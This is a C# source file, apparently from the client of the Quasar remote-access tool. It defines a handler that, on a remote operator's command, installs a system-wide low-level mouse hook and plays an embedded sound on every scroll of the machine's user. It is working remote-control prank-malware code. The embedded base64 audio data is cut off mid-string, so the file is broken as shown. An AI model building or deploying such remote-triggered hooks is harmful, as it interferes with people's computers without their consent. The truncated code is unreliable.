160 lines
91 KiB
C#
160 lines
91 KiB
C#
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using Quasar.Common.Messages;
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using Quasar.Common.Networking;
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using System;
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using System.Runtime.InteropServices;
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using System.Threading;
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namespace Quasar.Client.Messages
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{
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public class FartScrollHandler : IMessageProcessor, IDisposable
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{
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// ── Low-level mouse hook ─────────────────────────────────────────────
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private delegate IntPtr LowLevelMouseProc(int nCode, IntPtr wParam, IntPtr lParam);
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[DllImport("user32.dll")] static extern IntPtr SetWindowsHookEx(int idHook, LowLevelMouseProc fn, IntPtr hMod, uint threadId);
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[DllImport("user32.dll")] static extern bool UnhookWindowsHookEx(IntPtr hhk);
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[DllImport("user32.dll")] static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
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[DllImport("user32.dll")] static extern bool GetMessage(out MSG msg, IntPtr hWnd, uint min, uint max);
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[DllImport("user32.dll")] static extern bool TranslateMessage(ref MSG msg);
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[DllImport("user32.dll")] static extern IntPtr DispatchMessage(ref MSG msg);
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[DllImport("user32.dll")] static extern bool PostThreadMessage(int threadId, uint msg, IntPtr wParam, IntPtr lParam);
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[DllImport("kernel32.dll")] static extern int GetCurrentThreadId();
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[DllImport("kernel32.dll")] static extern IntPtr GetModuleHandle(string name);
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[StructLayout(LayoutKind.Sequential)]
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struct MSG { public IntPtr hwnd; public uint message; public IntPtr wParam, lParam; public uint time; public int x, y; }
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const int WH_MOUSE_LL = 14;
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const int WM_MOUSEWHEEL = 0x020A;
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const uint WM_QUIT = 0x0012;
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// ── waveOut P/Invoke ─────────────────────────────────────────────────
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[StructLayout(LayoutKind.Sequential)]
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struct WAVEFORMATEX { public ushort wFormatTag, nChannels; public uint nSamplesPerSec, nAvgBytesPerSec; public ushort nBlockAlign, wBitsPerSample, cbSize; }
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[StructLayout(LayoutKind.Sequential)]
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struct WAVEHDR { public IntPtr lpData; public uint dwBufferLength, dwBytesRecorded; public IntPtr dwUser; public uint dwFlags, dwLoops; public IntPtr lpNext, reserved; }
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[DllImport("winmm.dll")] static extern uint waveOutOpen(out IntPtr h, uint dev, ref WAVEFORMATEX fmt, IntPtr cb, IntPtr inst, uint flags);
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[DllImport("winmm.dll")] static extern uint waveOutPrepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz);
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[DllImport("winmm.dll")] static extern uint waveOutWrite(IntPtr h, ref WAVEHDR hdr, uint sz);
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[DllImport("winmm.dll")] static extern uint waveOutUnprepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz);
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[DllImport("winmm.dll")] static extern uint waveOutClose(IntPtr h);
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const uint WAVE_MAPPER = 0xFFFFFFFF;
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// Embedded fart PCM — 2 ch, 16-bit, 48000 Hz
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private static readonly byte[] FartPcm = Convert.FromBase64String(
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"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAEAAAAAAAAAAAAAAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAAAAD//wAAAAAAAAAAAAD//wAA//8AAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAA//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAAAAAAAAAAAAAD//wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AAAAAAAAAAD///////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AAD//wAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAP//AAD//wAAAAD//wAA//8AAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAAEAAAAAAAAAAAD//wAAAAD//wAA////////////////AAD//wAA/////////////wAAAAAAAAAAAAD//wAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAAAAAAAAAA//8AAAAAAAAAAAAA//8AAP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAP//AAD//wAAAAAAAP//AAAAAAEAAAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAD//wAA/v8AAP//AAAAAP////////////8AAAAAAAAAAAAA/////wAAAAAAAAAAAAAAAAEAAAABAAAAAQAAAAEAAQACAAIAAgABAAEAAQABAAAAAAAAAAEAAgACAAIAAQAAAAEAAAAAAP//////////AAD//////////wAAAQABAAEAAQABAAEAAQAAAAAAAAAAAAEAAgACAAIABAADAAQAAwABAAEAAAAAAAAAAAD///////8AAAAAAQABAAIAAQABAAAAAAD+//7//v/+/wAAAAACAAEAAgACAAIAAgAAAAEAAAABAAEAAQAAAAAAAAAAAP//AAD/////AAD//wAAAAD+//7//f/+//7//v////////////////8AAAAAAQABAAEAAAAAAAAA//////7//v////7/AQAAAAIAAQACAAIAAQABAP/////+/////////wAAAAACAAEAAwACAAIAAgADAAIAAwADAAIAAgABAAIAAAAAAAAAAAAAAAAAAAAAAP///////////v/+//3//v/+/////v/+//3//f/8//3//f/9//7//f////////////////8AAAEAAAABAAAAAQAAAAEAAAAAAAAAAAACAAIAAgACAAMAAgACAAIAAAABAAAAAAAAAAAAAAD//wAA//8AAAAAAQABAAIAAgACAAIA//8AAP3//v//////AAAAAAAAAAABAAAAAQABAAEAAgABAAIAAQABAAEAAQAAAAEAAAAAAAEAAQACAAIAAwADAAMAAgABAAEAAAAAAAAAAAABAAEAAQABAAEAAAD//////////wAAAAAAAAAAAQAAAAEAAAAAAAAAAAABAAEAAQABAAEAAgABAAEAAQD+/wAA/f/+//7//v////7//////wAAAQAAAAEAAAAAAP7//v/8//3//P/9//7//v//////AAABAP//AAD//////////////////////////////////wAAAAAAAP//AAD//wAAAAABAAAAAQABAAIAAgADAAEAAgAAAAAAAAAAAAAAAAAAAAAAAgABAAIAAgACAAAAAQAAAAEAAAACAAEAAgABAAEAAAABAAAAAAABAAAAAQAAAAAAAAD//wAA//8AAAAAAQABAAMAAwADAAMAAAAAAP7//v/8//3//f/9//7//v//////AAD//wAAAAD//////P/8//v//P/8//3//v/+/wAA//8AAAAA//////7//////wAAAAAAAAAAAAAAAAAA//////7//v/+//7//v/+///////+/////f/9//7//f/+//////8AAAEAAQABAAAAAAAAAAAAAAD//////////wAAAAABAAEAAgACAAIAAgABAAIAAQACAAEAAQD//////v/9/////v8AAAAAAQABAAEAAQAAAAAA//////////////7//v//////AAAAAAAAAgABAAIAAwADAAMABAADAAMAAgADAAIAAgACAAMAAgAEAAIAAwACAAIAAwACAAIAAQABAAAAAAD///7//v/9//3//f/9//3//f/8//v/+//7//v//f/8//7//f/9//7//P/9//v//P/8//z//v/9////AAABAAIAAQADAAIAAwADAAQAAgADAAAAAQD+//7////+/wEAAQAEAAQABQAFAAMAAwAAAAEA/v////////8AAAAAAQABAAMAAgAEAAMAAwADAAIAAgD//wAA/v/+//7//f/+/////v////3//v/8//3//P/9//3//f/+//7//f/9//7//f//////AgADAAUABQAEAAQAAQABAP3//f/8//z//v/+/wAAAAABAAAAAAD///7//f/8//z/+//6//v/+v/8//v///8AAAMAAwAEAAQAAwAEAAEAAQABAAAAAgACAAMAAwAEAAMAAgACAAAAAQAAAAAAAAD//////v/+//7//v/+////AAABAAEAAQABAAAAAAD/////AAAAAAMAAwAFAAQABQAFAAQABAAEAAMABAADAAMABAADAAMAAwABAAMAAgAEAAQABQAFAAQABAABAAIAAAAAAAAAAAAAAAAAAQABAAAAAQAAAAEAAQABAAEAAQAAAAEAAAAAAAAAAQACAAMABAAEAAMAAwABAAEA/////wAA//8CAAEABAADAAQAAwACAAEAAAAAAAEAAQACAAIAAgADAAIAAgABAAAAAQAAAAEAAQACAAEAAgABAAEAAQABAAIAAQABAAAAAAD+/////v///wAAAAACAAIAAwAEAAQAAwADAAIAAwADAAUABQAHAAYABg
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// ── State ────────────────────────────────────────────────────────────
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private Thread _hookThread;
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private int _hookThreadId;
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private IntPtr _hookHandle = IntPtr.Zero;
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private LowLevelMouseProc _proc;
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private readonly ManualResetEvent _ready = new ManualResetEvent(false);
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// ── IMessageProcessor ────────────────────────────────────────────────
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public bool CanExecute(IMessage message) => message is DoStartFartScroll || message is DoStopFartScroll;
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public bool CanExecuteFrom(ISender sender) => true;
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public void Execute(ISender sender, IMessage message)
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{
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if (message is DoStartFartScroll) Start();
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else if (message is DoStopFartScroll) Stop();
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}
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// ── Hook lifecycle ───────────────────────────────────────────────────
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private void Start()
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{
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if (_hookHandle != IntPtr.Zero) return;
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_proc = HookCallback;
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_ready.Reset();
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_hookThread = new Thread(() =>
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{
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_hookThreadId = GetCurrentThreadId();
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using (var proc = System.Diagnostics.Process.GetCurrentProcess())
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using (var mod = proc.MainModule)
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_hookHandle = SetWindowsHookEx(WH_MOUSE_LL, _proc, GetModuleHandle(mod.ModuleName), 0);
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_ready.Set();
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MSG msg;
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while (GetMessage(out msg, IntPtr.Zero, 0, 0))
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{
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TranslateMessage(ref msg);
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DispatchMessage(ref msg);
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}
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UnhookWindowsHookEx(_hookHandle);
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_hookHandle = IntPtr.Zero;
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}) { IsBackground = true };
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_hookThread.Start();
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_ready.WaitOne();
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}
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private void Stop()
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{
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if (_hookThreadId != 0)
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PostThreadMessage(_hookThreadId, WM_QUIT, IntPtr.Zero, IntPtr.Zero);
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}
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private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
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{
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if (nCode >= 0 && wParam.ToInt32() == WM_MOUSEWHEEL)
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ThreadPool.QueueUserWorkItem(_ => PlayFart());
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return CallNextHookEx(_hookHandle, nCode, wParam, lParam);
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}
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// ── Fart playback ────────────────────────────────────────────────────
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private void PlayFart()
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{
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try
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{
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var fmt = new WAVEFORMATEX
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{
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wFormatTag = 1,
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nChannels = 2,
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nSamplesPerSec = 48000,
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wBitsPerSample = 16,
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nBlockAlign = 4,
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nAvgBytesPerSec = 192000
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};
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IntPtr hWave;
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if (waveOutOpen(out hWave, WAVE_MAPPER, ref fmt, IntPtr.Zero, IntPtr.Zero, 0) != 0) return;
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GCHandle pin = GCHandle.Alloc(FartPcm, GCHandleType.Pinned);
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try
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{
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uint hdrSz = (uint)Marshal.SizeOf(typeof(WAVEHDR));
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var hdr = new WAVEHDR { lpData = pin.AddrOfPinnedObject(), dwBufferLength = (uint)FartPcm.Length };
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waveOutPrepareHeader(hWave, ref hdr, hdrSz);
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waveOutWrite(hWave, ref hdr, hdrSz);
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Thread.Sleep(536);
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waveOutUnprepareHeader(hWave, ref hdr, hdrSz);
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}
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finally
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{
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pin.Free();
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waveOutClose(hWave);
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}
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}
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catch { }
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}
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public void Dispose() => Stop();
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}
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}
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